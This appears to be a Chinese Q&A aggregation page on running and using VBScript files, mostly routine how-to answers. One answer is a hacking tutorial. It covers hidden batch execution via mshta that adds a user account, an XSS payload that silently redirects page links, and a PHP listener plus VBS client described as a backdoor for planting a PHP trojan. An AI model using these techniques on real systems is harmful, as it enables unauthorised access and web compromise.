導航:首頁 > 軟體知識 > vbs程序怎麼用

vbs程序怎麼用

發布時間:2022-11-25 16:36:41

❶ vbs 常用命令

1.點擊WIN按鈕,在運行對話框下面輸入cmd,打開命令提示符窗口。

注意事項:

VBS, Microsoft Visual Basic Scripting Edition是Visual Basic編程語言家族的最新成員,它將靈活的腳本語言引入到更廣泛的應用程序中,包括Microsoft Internet Explorer中的Web客戶端腳本和Microsoft Internet Information Server中的Web伺服器腳本。

❷ win10怎麼運行VBS

打開win10系統的電腦,然後准備好vbs文件,這里說明一下,所有vbs都可以用記事本打開,不過看到的只是代碼,而並不是運行代碼的狀態,我們要的是vbs真實運行的狀態。
接著右擊vbs文件,在彈出的右鍵菜單中選擇打開方式,有的朋友沒有打開方式這個選項,也可以選擇屬性選項。
一般win10系統會自動識別vbs文件,並且自動匹配打開的程序,默認是Microsoft ® Windows Based Script Host,如果自動識別的就可以雙擊直接運行vbs文件了,沒有識別的需要手動來調節。
接著說下沒有自動匹配程序的情況,同樣是在打開方式選擇程序的窗口界面,點擊下方的更多應用選項,
在下方的列表中是沒有可以打開的程序,這個時候點擊最下面藍色的文字,也就是在這台電腦上查找其他應用選項,點擊打開。
接著進入到c盤,然後進入到windows\system32的文件夾,在里邊選擇wscript.exe,點擊打開即可。

❸ vbs文件是用什麼運行的

.VBS:VBScript文件
VB編的程序要編譯成.EXE文件才能執行,而VBS是腳本語言,是不需要編譯成二進制機器語言,直接按編寫的文件來執行的。
直接雙擊文件就運行了。
編輯用記事本等文本編輯工具編輯。編寫完保存後把後綴改為.VBS即可。
例:打開記事本,輸入:

CreateObject("SAPI.SpVoice").Speak "天上有個太陽,水中有個月亮"
保存後把後綴改為.VBS
雙擊運行
就會朗讀:天上一個太陽,水中一個月亮

❹ 怎麼用VBS程序點擊網頁中按鈕

先假設你有一個IE對象,
SET IE=Createobject("Internetexplorer.application")
然後你打開了這個網頁,就可以這樣了:
With IE.Document
for each i in .GetElementsByClassName("button")
i.click
next
end with
不過你要是給元素分配了唯一的ID就更容易了,這樣略麻煩......

❺ .vbs文件怎麼運行

有兩種運行方法:
1在windows界面下運行,也就是雙擊
2在命令提示符下運行,方法為:
開始,輸入cmd回車,然後會彈出一個黑框,輸入cd 「你的vbs所在的地方」回車,然後輸入腳本的名字回車就運行了

❻ vbs怎麼在網頁運行

vbs有一個對像是「SAPI.SpVoice」,可以用它來講英語的,這個組件在 xp、2003上默認都可以用的,調用後可以聽到電腦上一個國外老男人在說話。好比這樣一句代碼:●CreateObject ("SAPI.SpVoice").Speak "I LOVE YOU"●,保存成vbs後綴後雙擊就會聽到英語的我愛你了。但隨之而來我們講到另一個問題,不保存成vbs或vbe後綴如何運行vbs代碼。

一、用mshta來運行vbs
hta這種類型的文件運行後也是系統許可權,其調用宿主就是mshta.exe。我們在cmd下運行這樣一行代碼:●mshta vbscript:createobject("sapi.spvoice").speak("I LOVE YOU.")(window.close)●,也會聽到同樣的發音。這行代碼的意思類似是臨時生成一個hta文件,然後運行里邊的vbs代碼,再調用 window.close將運行窗口關掉。整個運行過程是看不到hta窗口的。這種運行方式你會想到什麼?最少我是想到了兩個。一個是批處理的隱藏運行,基本代碼如下:

@echo off
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
:begin
rem 下邊開始寫批處代碼了
net user lcx 12345 /add

這個代碼只能雙擊運行,運行過程中你看不到具體的批處理運行流程的。第二個我想的是注射過程中的用途。網上有篇流傳很廣的文章《mssql注射中多次調用參數導致多次echo的解決方法》,中心思想是將vbs語句用冒號連接起來然後用echo命令一次寫入到被注入的肉雞上,然後再調用這個vbs來下載文件。如果調用mshta執行的話,下載、執行一次就ok了。不過在命令行下用mshta後邊直接跟vbs代碼有個難處理的問題是空格,不過這個好解決用 execute將vbs代碼放在括弧里就ok了,這個讀者可以親自去試一下了,相信我不難的。

二、用ie地址欄運行vbs
很多人會用ie地址欄運行js,其實vbs一樣是可以的,我們隨便打開一個網站,在地址欄上輸入:vbscript:msgbox (Document.links.length)後回車,就會看到當前頁面有多少個連接了。用document.links(i).href這句的話,將 i換成不同的自然數好比0、1、2、3等就會分別顯示出不同的鏈接地址。這部份內容其實是涉及到dhtml的內容了。我們來看一個最簡單的示例代碼:

<a href=http://www.sohu.com>www.sohu.com</a>
<a href=http://www..com>www..com</a>

這是兩個鏈接,保存成網頁後點擊就會跳轉到不同的頁面。如果這個頁面有跨站,我想搞下破壞,讓用戶點擊www.sohu.com卻跑到我指定的頁面上能做到嗎?其實可以的,只要加一行語句就可以了,代碼是:●<body onload=vbscript:document.links(0).href="http://www.google.com":document.links(0).innerHTML="www.sohu.com"> ●。這樣的話用戶再點擊sohu其實會跑到google上去了,原來頁面的版式卻絲毫沒有破壞。同樣的dhtml元素還有document.links (i).href、document.images(i).src、document.forms(i).action等等,跨站改變其動態元素是很好玩的。

三、調用外部組件來運行vbs
vbs本身功能畢竟有限,但是卻可以很好的與外部交互。要是用vbs來模擬nc發包的話,就要調用vb組件了。關於VBS如何成功調用 MSWinsock.Winsock,zzzevazzz說的很清楚了。就是下載Winsock.ocs注冊,和VB6控制項的授權密鑰的.reg導入注冊表。兩個文件可以在http://zzzevazzz.bokee.com/inc/vb6controls.rar這里下載。前不久學了一段時間php,網上看到一個php的監聽程序,可以用它來做一個後門,s端s.php代碼如下:

<?
// 設置一些基本的變數
$host = "192.168.8.100";
$port = 12345;
// 設置超時時間
set_time_limit(0);
// 創建一個Socket
$socket = socket_create(AF_INET, SOCK_STREAM, 0) or die("Could not create
socket ");
//綁定Socket到埠
$result = socket_bind($socket, $host, $port) or die("Could not bind to
socket ");
// 開始監聽鏈接
$result = socket_listen($socket, 3) or die("Could not set up socket
listener ");
// accept incoming connections
// 另一個Socket來處理通信
$spawn = socket_accept($socket) or die("Could not accept incoming
connection ");
// 獲得客戶端的輸入
$input = socket_read($spawn, 1024) or die("Could not read input ");
// 清空輸入字元串
$input = trim($input);//將輸入結果寫入ok.php,這句是我加的
fputs(fopen(ok.php,a+),"$input");

//處理客戶端輸入並返回結果
$output = strrev($input) . " ";
socket_write($spawn, $output, strlen ($output)) or die("Could not write
output ");
// 關閉sockets
socket_close($spawn);
socket_close($socket);
?>

在ie打開這個php,運行它的伺服器會監聽12345埠。如果我們再用vbs向12345埠發包的話,在同文件的php目錄下會生成ok.php。發包的內容就是我們要寫入ok.php的代碼。該vbs文件c.vbs代碼如下:

Set ie=WScript.CreateObject("InternetExplorer.Application")
ie.visible=false
ie.Navigate "http://192.168.8.100/s.php" s.php是服務端
While ie.Busy
WScript.Sleep 100
Wend

Do
Wscript.Sleep 200
Loop Until ie.ReadyState=4

Set socket=WScript.CreateObject("MSWinsock.Winsock")
socket.Protocol=0
socket.RemotePort="12345" 埠
socket.RemoteHost="192.168.8.100" 主機
socket.connect socket.RemoteHost, socket.RemotePort 連接
WScript.sleep 10
ddd="<?phpinfo();>"&Chr(13)這里你可以改成一句話的php木馬
socket.SendData ddd
WScript.sleep 100
wscript.echo "ok"
socket.senddata Chr(13)
socket.close

Set ie=nothing

一個vbs和一個php珠聯璧合,打造了一個非常規後門。當然這個後門的價值不大,但重要的是思路

❼ vbs腳本如何啟動程序

Setshell=Wscript.createobject("wscript.shell")
a=shell.run("這里寫你文件所在的路徑,例如C:windows otepad.exe",0)

❽ vbs 文件運行

Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\VBSFile\Shell\Open\Command]
@=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,74,00,25,\
00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,57,00,53,00,\
63,00,72,00,69,00,70,00,74,00,2e,00,65,00,78,00,65,00,20,00,22,00,25,00,31,\
00,22,00,20,00,25,00,2a,00,00,00

把上面的內容復制到記事本,然後保存為注冊表文件(擴展名為.reg)
然後把它導入注冊表,再看看...

❾ .vbs文件用什麼打開方式打開,我是要運行它

1、右擊任意vbs格式文件,在展開的菜單中點擊「屬性」按鈕打開文件的屬性界面:

❿ VBS用途是什麼

VBS是基於Visual Basic的腳本語言。VBS的全稱是:Microsoft Visual Basic Script Edition。

要點:

1、注釋(以REM或'開頭)行在程序中不起作用, 但能讓別人更容易讀懂你的程序.

2、變數好像一個盒子, 或一個代號, 可以代表想代表的東西. 變數賦值使用"="

3、以""包裹起來的字元稱之為"字元串"

4、函數像一個"黑箱", 有參數和返回值, 用"="左邊的變數可以接住返回值

5、 Inputbox函數彈出一個輸入對話框,Msgbox則用於輸出

(10)vbs程序怎麼用擴展閱讀:

演算法的特點:

1、有窮性:演算法必須保證在執行有限步驟後結束。

2、可行性:演算法是確切可行的,即使在數學中,該演算法可行,但若在實際應用中,程序不可以被執行,那麼 ,該演算法也是不具有可行性的。

3、確切性:演算法的每一個步驟必須具有明確的意義。

4、輸入:一個演算法必須要有0個或多個輸入。

5、輸出:一個演算法必須要有1個或多個輸出。

閱讀全文

與vbs程序怎麼用相關的資料

熱點內容
奶塊如何把東西掛交易平台 瀏覽:979
什麼美容產品可以去皺 瀏覽:41
產品分享賬號怎麼做 瀏覽:266
國地稅稽查如何交換信息 瀏覽:920
根據什麼選擇音頻壓縮技術標准 瀏覽:453
同類產品怎麼競爭銷售 瀏覽:293
開機360信息如何關閉 瀏覽:333
數據中台設置哪些崗位 瀏覽:820
期盤現貨市場怎麼樣 瀏覽:149
無權代理的特徵有哪些 瀏覽:471
交易貓出售王者賬號多久到賬 瀏覽:533
金彈子怎麼嫁接技術 瀏覽:407
卓雅錄取為什麼不發信息通知 瀏覽:487
小縣城哪裡學技術 瀏覽:655
房子交易了還要交什麼稅 瀏覽:22
手機的數據線怎麼充電的 瀏覽:969
西市場有什麼好處 瀏覽:591
批發市場工人工資多少 瀏覽:405
天涯明月刀手游角色交易什麼時候開 瀏覽:749
南充哪裡有新修的菜市場 瀏覽:114